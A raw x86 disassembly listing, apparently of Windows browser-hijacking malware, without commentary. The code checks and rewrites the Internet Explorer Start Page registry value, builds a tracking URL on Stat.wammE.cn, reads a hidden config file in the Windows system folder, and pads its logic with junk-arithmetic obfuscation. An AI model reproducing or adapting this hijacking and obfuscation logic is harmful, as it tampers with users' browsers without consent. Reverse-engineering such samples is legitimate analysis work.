sar edx, 0x1d
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45ebd4]
mov eax, 0x56a9121b
imul ecx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
test esi, esi
mov dword [0x45ebcc], eax
jne 0x422a0d
mov ecx, dword [ebp - 0x1110]
push ecx
call fcn.00427a40
mov edi, eax
push 0
call fcn.00432277
sub eax, dword [0x5727f4]
add esp, 4
cmp eax, 5
jle 0x423b35
test edi, edi
je 0x422a42
mov eax, edi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422a30
sub eax, edx
cmp eax, 5
ja 0x423b35
mov ecx, dword [0x45ebdc]
mov esi, dword [0x45ebe8]
mov eax, 0x4be59407
imul esi, esi, 0x35f7d09c
imul ecx
sar edx, 0x1c
add esi, edx
mov edi, edx
mov eax, 0x83008757
imul ecx
add edx, ecx
mov ecx, dword [0x45ebc8]
sar edx, 0x1c
imul ecx, ecx, 0x15c6babc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebc4]
shr edi, 0x1f
imul edx, edx, 0x1a1a8172
add edi, esi
sub edi, eax
mov eax, dword [0x45ebe4]
sub edi, ecx
add edi, eax
lea eax, [edx + edi + 0xbd0f4c0]
mov dword [0x45ebd4], eax
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x422ab4
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.004278e0
mov ebx, dword [0x45ebd8]
mov edx, dword [0x45ebd0]
mov ecx, dword [0x45ebc8]
mov dword [ebp - 0x10d0], eax
lea esi, [edx + ebx]
imul esi, esi, 0x15c6babc
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov eax, ebx
imul eax, eax, 0x35f7d09c
add edi, eax
mov eax, 0x2d01dbc7
imul ebx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45ebdc]
mov eax, 0x83008757
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd4]
sar edx, 0x1c
imul ecx, ecx, 0xbd0f4c0
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str.sfdafsdafdsfdsfa]
sub edi, eax
mov eax, dword [0x44fd68]
sub edi, ecx
mov ecx, dword [0x44fd6c]
mov dword [ebp - 0x140], eax
mov al, byte [0x44fd74]
mov byte [ebp - 0x134], al
mov dword [ebp - 0x144], edx
mov edx, dword [0x44fd70]
mov dword [ebp - 0x13c], ecx
xor eax, eax
mov dword [ebp - 0x138], edx
mov dword [0x45ebe8], edi
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45ebd4]
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
movsw word es:[edi], word [esi]
mov esi, eax
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x15c6babc
sub esi, ecx
mov eax, 0x9c5fe915
sub esi, edx
imul ebx
mov dword [ebp - 0x10f8], 0
mov ecx, dword [0x45ebcc]
add edx, ebx
sar edx, 0x1d
mov edi, edx
add esi, edx
mov eax, 0x9c5fe915
imul ecx
mov eax, dword [0x45ebdc]
add edx, ecx
imul eax, eax, 0x3e20adb7
shr edi, 0x1f
sar edx, 0x1d
add edi, esi
mov ecx, edx
add edi, edx
shr ecx, 0x1f
lea edx, [ebp - 0x10f8]
push edx
push 0xf003f
add ecx, edi
add ecx, eax
push 0
lea eax, [ebp - 0x40]
push eax
push SysReAllocStringLen
mov dword [0x45ebc4], ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x422fd0
mov ecx, dword [0x45ebc8]
mov edi, dword [0x45ebc4]
mov eax, 0x4be59407
imul ecx
imul ecx, ecx, 0x35f7d09c
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov esi, dword [0x45ebe0]
mov eax, 0x53766c07
imul edi
sar edx, 0x1c
add ecx, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45ebcc]
mov eax, 0x83008757
imul ecx, ecx, 0x1f444551
imul esi
add edx, esi
sar edx, 0x1c
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x45ebe8]
sub eax, ecx
mov dword [ebp - 0x10c8], eax
mov eax, 0x5e0c18e7
imul ebx
imul ebx, ebx, 0xbd0f4c0
mov eax, dword [ebp - 0x10c8]
sar edx, 0x1b
add eax, edx
mov ecx, edx
mov edx, dword [0x45ebdc]
shr ecx, 0x1f
add ecx, eax
sub ecx, ebx
mov ebx, esi
mov eax, 0x2d01dbc7
imul ebx, ebx, 0x4d0e971
imul edx
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [ebp - 0x10c8], eax
mov ebx, dword [0x45ebd0]
mov eax, 0x273a7861
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
mov esi, edx
mov eax, 0x5e0c18e7
imul ebx
sar edx, 0x1b
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0x10c8], eax
mov eax, 0x56a9121b
imul dword [0x45ebe4]
mov eax, dword [ebp - 0x10c8]
sar edx, 0x1a
mov esi, edx
shr esi, 0x1f
add eax, edx
mov dword [0x45ebd8], ecx
add esi, eax
imul ecx, ecx, 0xbd0f4c0
mov eax, 0x4be59407
imul edi, edi, 0xbd0f4c0
imul dword [0x45ebe4]
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ecx
mov ecx, dword [0x45ebcc]
mov edx, ecx
imul edx, edx, 0x5885071a
add eax, edx
mov dword [0x45ebc8], esi
imul esi, esi, 0x2d80f713
add eax, esi
mov dword [ebp - 0x10c8], eax
mov eax, 0x273a7861
imul ecx
mov ecx, dword [ebp - 0x10c8]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9c5fe915
imul ebx
add edx, ebx
sar edx, 0x1d
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
add eax, edi
lea ecx, [ebp - 0x10f0]
push ecx
mov ecx, dword [ebp - 0x10f8]
lea edx, [ebp - 0x144]
push edx
mov dword [0x45ebdc], eax
lea eax, [ebp - 0x10c8]
push eax
push 0
push str.Start_Page
push ecx
mov dword [ebp - 0x10f0], 0x104
mov dword [ebp - 0x10c8], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x422fd0
mov ecx, dword [0x45ebdc]
mov edi, dword [0x45ebc4]
mov eax, 0xc09944a7
imul ecx
add edx, ecx
sar edx, 0x1c
mov esi, edi
imul esi, esi, 0x31136cfe
add esi, edx
mov ebx, edx
mov ecx, dword [0x45ebe0]
mov eax, 0x273a7861
imul dword [0x45ebd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, esi
sub ebx, eax
mov esi, dword [0x45ebc8]
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
add ebx, edx
mov ecx, edx
mov eax, 0x9c5fe915
imul esi
shr ecx, 0x1f
add ecx, ebx
add edx, esi
sar edx, 0x1d
add ecx, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45ebd8]
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd4]
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x56a9121b
imul ecx
mov eax, dword [0x572b18]
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
test eax, eax
mov dword [0x45ebcc], ecx
jne 0x422fe2
lea ecx, [ebp - 0x144]
push str..2345.com
push ecx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x422f15
lea edx, [ebp - 0x144]
push str..2345.COM
push edx
call fcn.0040da90
add esp, 8
test eax, eax
je 0x422fd0
mov ecx, dword [0x45ebd4]
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x15c6babc
sub esi, ecx
mov ecx, dword [0x45ebd8]
sub esi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1d
mov edi, edx
add esi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebdc]
imul ecx, ecx, 0x3e20adb7
shr edi, 0x1f
sar edx, 0x1d
add edi, esi
mov eax, edx
add edi, edx
shr eax, 0x1f
lea edx, [ebp - 0x144]
push edx
add eax, edi
add eax, ecx
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_HomePage_s
push 0x5615e8
mov dword [0x45ebc4], eax
mov dword [0x572b18], 1
call fcn.00431c41
push 0x132db2c
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [0x45ebc4]
mov ecx, dword [0x45ebcc]
mov esi, dword [0x45ebc8]
mov edx, dword [0x45ebe4]
imul esi, esi, 0x2d80f713
imul edi, edi, 0xbd0f4c0
mov eax, 0x4be59407
imul edx
mov eax, ecx
imul eax, eax, 0x5885071a
sar edx, 0x1c
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, eax
mov eax, 0x273a7861
imul ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ebx, esi
sub ebx, ecx
mov ecx, dword [0x45ebd0]
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x10f8]
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, edi
push ecx
mov dword [0x45ebdc], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x45ebe0]
mov edx, dword [0x45ebdc]
mov esi, ecx
mov eax, 0x2d01dbc7
imul esi, esi, 0x4d0e971
imul edx
sar edx, 0x1b
add esi, edx
mov ebx, edx
mov edi, dword [0x45ebd0]
mov eax, 0x273a7861
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45ebe4]
sub ebx, eax
mov eax, 0x5e0c18e7
imul edi
sar edx, 0x1b
add ebx, edx
mov ecx, edx
mov eax, 0x56a9121b
imul esi
sar edx, 0x1a
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebx
add ecx, edx
add eax, ecx
mov ecx, dword [0x45ebd8]
mov edx, ecx
imul ecx, ecx, 0x35f7d09c
imul edx, edx, 0xbd0f4c0
add eax, edx
mov edx, dword [0x45ebcc]
mov dword [0x45ebc8], eax
mov eax, 0x4be59407
imul edx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x45ebc4]
mov eax, 0xc09944a7
imul ecx
add edx, ecx
sar edx, 0x1c
mov ecx, edx
add ebx, edx
mov edx, dword [0x45ebd4]
imul edx, edx, 0x3e888aa2
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov eax, 0x2e45b009
imul edi
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9c5fe915
imul esi
add edx, esi
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10e0]
lea edx, [ebp - 0x1100]
push edx
mov dword [0x45ebe4], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x1100]
push eax
call fcn.00427a40
mov ecx, dword [0x45ebd0]
mov ebx, dword [0x45ebe8]
mov esi, eax
mov eax, 0xc09944a7
imul ecx
add edx, ecx
sar edx, 0x1c
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe4]
imul edx, edx, 0xd0d40b9
mov edi, ebx
imul edi, edi, 0x31136cfe
sub edi, ecx
mov ecx, dword [0x45ebc4]
add edi, edx
imul ecx, ecx, 0x346312ef
mov eax, 0x9c5fe915
imul ebx
add edx, ebx
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
mov ecx, dword [0x45ebd8]
mov eax, 0x56a9121b
imul ecx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, dword [0x45ebe0]
test esi, esi
lea edi, [eax + edi - 0xbd0f4c0]
mov dword [ebp - 0x10c8], esi
mov dword [0x45ebd0], edi
je 0x4232dd
mov edi, str.about:blank
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x4232cb
mov ecx, dword [0x45ebc8]
mov eax, 0x4be59407
imul ecx
imul ecx, ecx, 0x35f7d09c
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x53766c07
imul dword [0x45ebc4]
sar edx, 0x1c
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x45ebe0]
mov eax, 0x83008757
imul ecx
add edx, ecx
sar edx, 0x1c
mov ecx, edx
add esi, edx
mov edx, dword [0x45ebcc]
imul edx, edx, 0x1f444551
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
mov eax, 0x5e0c18e7
imul ebx
imul ebx, ebx, 0xbd0f4c0
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
sub eax, ebx
push 1
mov dword [0x45ebd8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1100]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x1100]
push eax
call fcn.00427a40
mov ebx, dword [0x45ebe8]
mov dword [ebp - 0x10c8], eax
mov ecx, dword [0x45ebd8]
mov esi, dword [ebp - 0x10c8]
mov edi, dword [0x45ebd0]
mov edx, dword [0x45ebd4]
imul ecx, ecx, 0x2d80f713
mov eax, edi
sub eax, edx
mov edx, dword [0x45ebc8]
imul eax, eax, 0x15445b42
imul edx, edx, 0x31136cfe
add eax, edx
add eax, ecx
mov ecx, eax
mov eax, 0xc09944a7
imul edi
add edx, edi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x2e45b009
imul ebx
sar edx, 0x1b
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45ebcc]
imul ecx, ecx, 0xbd0f4c0
push 4
sub eax, ecx
push str.http
push esi
mov dword [0x45ebe0], eax
call fcn.00432de0
add esp, 0xc
test eax, eax
je 0x4235b8
push 4
push str.HTTP
push esi
call fcn.00432de0
add esp, 0xc
test eax, eax
je 0x4235b8
push 4
push str.www.
push esi
call fcn.00432de0
add esp, 0xc
test eax, eax
je 0x4235b8
push 4
push str.WWW.
push esi
call fcn.00432de0
add esp, 0xc
test eax, eax
je 0x4235b8
push str.http:
push esi
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x4233ec
push str.HTTP:
push esi
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x4233ec
push str.www.
push esi
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x4233ec
push str.WWW.
push esi
call fcn.0040da90
add esp, 8
test eax, eax
je 0x4235b8
mov ecx, dword [0x45ebd8]
mov edx, dword [0x45ebd0]
lea edi, [edx + ecx]
mov edx, dword [0x45ebc8]
imul edi, edi, 0x15c6babc
mov eax, 0x4be59407
imul edx
mov eax, ecx
imul eax, eax, 0x35f7d09c
sar edx, 0x1c
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x2d01dbc7
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45ebdc]
mov eax, 0x83008757
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd4]
sar edx, 0x1c
imul ecx, ecx, 0xbd0f4c0
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
push str.http:
push esi
mov dword [0x45ebe8], ebx
call fcn.0040da90
add esp, 8
test eax, eax
je 0x423560
push str.http:
jmp 0x4235a9
mov edi, dword [0x45ebe0]
imul esi, esi, 0xbd0f4c0
mov ebx, edi
mov eax, 0x2d01dbc7
imul ebx, ebx, 0x4d0e971
imul ecx
sar edx, 0x1b
mov ecx, edx
add ebx, edx
mov eax, 0x273a7861
imul edi
sar edx, 0x19
shr ecx, 0x1f
mov eax, edx
add ecx, ebx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5e0c18e7
imul dword [0x45ebd0]
sar edx, 0x1b
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x45ebe4]
mov eax, 0x56a9121b
imul ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
add ecx, esi
push str.startup.exe
mov dword [0x45ebc8], ecx
call fcn.0040ffb0
add esp, 4
test eax, eax
jle 0x422641
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 5
je 0x423521
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x423535
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 2
je 0x423549
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x4245a7
jmp 0x4245a1
push str.HTTP:
push esi
call fcn.0040da90
add esp, 8
test eax, eax
je 0x423579
push str.HTTP:
jmp 0x4235a9
push str.www.
push esi
call fcn.0040da90
add esp, 8
test eax, eax
je 0x423592
push str.www.
jmp 0x4235a9
push str.WWW.
push esi
call fcn.0040da90
add esp, 8
test eax, eax
je 0x4235b8
push str.WWW.
push esi
call fcn.0040da90
add esp, 8
mov dword [ebp - 0x10c8], eax
mov ecx, dword [0x45ebd8]
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd4]
sar edx, 0x1d
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x4be59407
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x2e45b009
imul ecx
sar edx, 0x1b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x15c6babc
sub edi, ecx
mov ecx, dword [0x45ebcc]
sub edi, edx
mov esi, dword [0x45ebdc]
mov eax, 0x9c5fe915
imul esi, esi, 0x3e20adb7
imul ecx
add edx, ecx
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x44fcd4]
add eax, ebx
add eax, edi
add esi, eax
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x44fcd8]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x44fcdc]
mov dword [ebp - 0x4c0], edx
mov dx, word [0x44fce0]
xor eax, eax
mov dword [ebp - 0x4b8], ecx
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45ebdc]
stosw word es:[edi], ax
mov eax, 0xc09944a7
imul ecx
mov dword [0x45ebc4], esi
imul esi, esi, 0x31136cfe
add edx, ecx
mov ecx, dword [0x45ebd0]
sar edx, 0x1c
add esi, edx
mov edi, edx
mov eax, 0x273a7861
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
shr edi, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, 0x2e45b009
imul dword [0x45ebe0]
mov ecx, dword [0x45ebc8]
sar edx, 0x1b
add edi, edx
mov esi, edx
mov eax, 0x9c5fe915
imul ecx
add edx, ecx
shr esi, 0x1f
add esi, edi
sar edx, 0x1d
add esi, edx
mov edi, edx
mov eax, 0x56a9121b
imul dword [0x45ebd4]
mov eax, dword [ebp - 0x10c8]
shr edi, 0x1f
sar edx, 0x1a
add edi, esi
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
sub ecx, ebx
mov dword [0x45ebcc], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x423737
mov ebx, dword [ebp - 0x10c8]
sub eax, esi
mov dword [ebp - 0x10f0], eax
je 0x423885
push str.http:__
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str.HTTP:__
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str.www.
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str.WWW.
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str..COM
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str..com
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str..NET
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str..net
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str..ORG
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str..org
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push 0x44fc8c
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push 0x44fc88
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str..htm
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x42386a
push str..HTM
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
je 0x42387f
push ebx
lea ecx, [ebp - 0x4c4]
push str.__s_
push ecx
call fcn.00431c41
add esp, 0xc
mov ecx, dword [0x45ebcc]
mov esi, dword [0x45ebd4]
mov eax, 0x4be59407
imul esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x2e45b009
imul esi
mov esi, dword [0x45ebd8]
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x45ebe0]
imul eax, eax, 0x15c6babc
sub edi, eax
mov eax, 0x9c5fe915
imul esi
add edx, esi
sar edx, 0x1d
mov esi, edx
add edi, edx
mov eax, 0x9c5fe915
imul ecx
mov eax, dword [0x45ebdc]
add edx, ecx
imul eax, eax, 0x3e20adb7
push str.C:WINDoWS_system_sdAx.txt
shr esi, 0x1f
sar edx, 0x1d
push 0x400
add esi, edi
mov ecx, edx
add esi, edx
lea edx, [ebp - 0x8c4]
push edx
shr ecx, 0x1f
push 0x44ee89
add ecx, esi
push str.rtgbh
add ecx, eax
push str.asdf
mov dword [0x45ebc4], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x423a7e
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x423934
sub eax, edx
mov dword [ebp - 0x10f0], eax
je 0x423a7e
mov edi, str.about:blank
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x423a7e
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x4239db
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.0040da90
add esp, 8
test eax, eax
jne 0x4239db
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
mov edi, edi
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x4239b8
test al, al
je 0x4239b4
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x4239b8
add esi, 2
add edi, 2
test al, al
jne 0x423990
xor eax, eax
jmp 0x4239bd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4239db
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.0040da90
add esp, 8
test eax, eax
je 0x4239f3
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.0040da90
add esp, 8
test eax, eax
je 0x423a7e
mov ecx, dword [0x45ebd0]
mov esi, dword [0x45ebe8]
mov eax, 0xc09944a7
imul ecx
add edx, ecx
mov ecx, dword [0x45ebe4]
sar edx, 0x1c
imul ecx, ecx, 0xd0d40b9
mov ebx, esi
imul ebx, ebx, 0x31136cfe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x45ebc4]
mov eax, 0x9c5fe915
imul esi
add edx, esi
sar edx, 0x1d
add ebx, ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x56a9121b
imul dword [0x45ebd8]
mov ecx, edi
imul ecx, ecx, 0x346312ef
sar edx, 0x1a
sub ebx, ecx
mov ecx, dword [0x45ebe0]
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, ecx
lea ecx, [eax + ebx - 0xbd0f4c0]
mov dword [0x45ebd0], ecx
jmp 0x423b41
push 0
call fcn.00432277
mov ecx, dword [0x45ebc8]
mov dword [0x572b14], eax
mov eax, dword [0x572b10]
add esp, 4
inc eax
mov dword [0x572b10], eax
mov eax, 0x4be59407
imul ecx
imul ecx, ecx, 0x35f7d09c
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebc4]
sub ecx, eax
mov eax, 0x53766c07
imul edx
sar edx, 0x1c
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x45ebe0]
mov eax, 0x83008757
imul ecx
add edx, ecx
mov ecx, dword [0x45ebcc]
imul ecx, ecx, 0x1f444551
sar edx, 0x1c
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [0x45ebe8]
mov eax, 0x5e0c18e7
imul ecx
imul ecx, ecx, 0xbd0f4c0
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [ebp - 0x10d0]
add eax, edi
sub eax, ecx
mov dword [0x45ebd8], eax
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x9c]
mov edi, dword [0x45ebc4]
mov esi, dword [0x45ebe8]
mov ebx, dword [0x45ebdc]
mov ecx, dword [0x45ebe0]
imul ecx, ecx, 0x4d0e971
mov eax, 0x2d01dbc7
imul ebx
sar edx, 0x1b
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, eax
mov eax, 0x273a7861
imul dword [0x45ebe0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5e0c18e7
imul dword [0x45ebd0]
sar edx, 0x1b
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [ebp - 0x10d0], eax
mov eax, 0x56a9121b
imul dword [0x45ebe4]
mov eax, dword [ebp - 0x10d0]
sar edx, 0x1a
add eax, edx
mov ecx, edx
mov edx, dword [0x45ebd8]
imul edx, edx, 0xbd0f4c0
shr ecx, 0x1f
add ecx, eax
mov eax, dword [ebp - 0x10cc]
add ecx, edx
test eax, eax
mov dword [0x45ebc8], ecx
je 0x4242f5
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x423be4
sub eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d0], eax
je 0x4242f5
mov eax, 0x4be59407
imul esi, esi, 0x35f7d09c
imul ecx, ecx, 0x15c6babc
imul ebx
imul edi, edi, 0x1a1a8172
sar edx, 0x1c
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0x10d0], eax
mov esi, dword [0x45ebe4]
mov eax, 0x83008757
imul ebx
add edx, ebx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d0]
sub edx, eax
sub edx, ecx
add edx, esi
lea ecx, [edi + edx + 0xbd0f4c0]
